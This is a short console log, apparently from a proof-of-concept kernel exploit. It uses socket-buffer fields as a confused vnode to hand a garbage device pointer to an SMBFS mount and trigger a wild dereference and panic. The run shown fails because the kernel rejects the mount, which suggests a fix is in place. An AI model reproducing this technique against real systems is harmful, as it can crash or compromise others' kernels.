[+] socket 3: SO_RCVLOWAT set to 3 (VBLK) -> lands at vnode v_type offset
[*] so_rcv.ssb_mbmax (~26KB, non-NULL) will be read as v_rdev
[*] vn_todev() returns ssb_mbmax as garbage cdev_t
[*] SMB_GETDEV(garbage)->si_drv1 will wild-deref -> PANIC
[*] issuing mount(SMBFS) with args.dev = 3 ...
[!] mount returned rv=-1 errno=22 (Invalid argument) — kernel survived (FIXED kernel?)
exit=1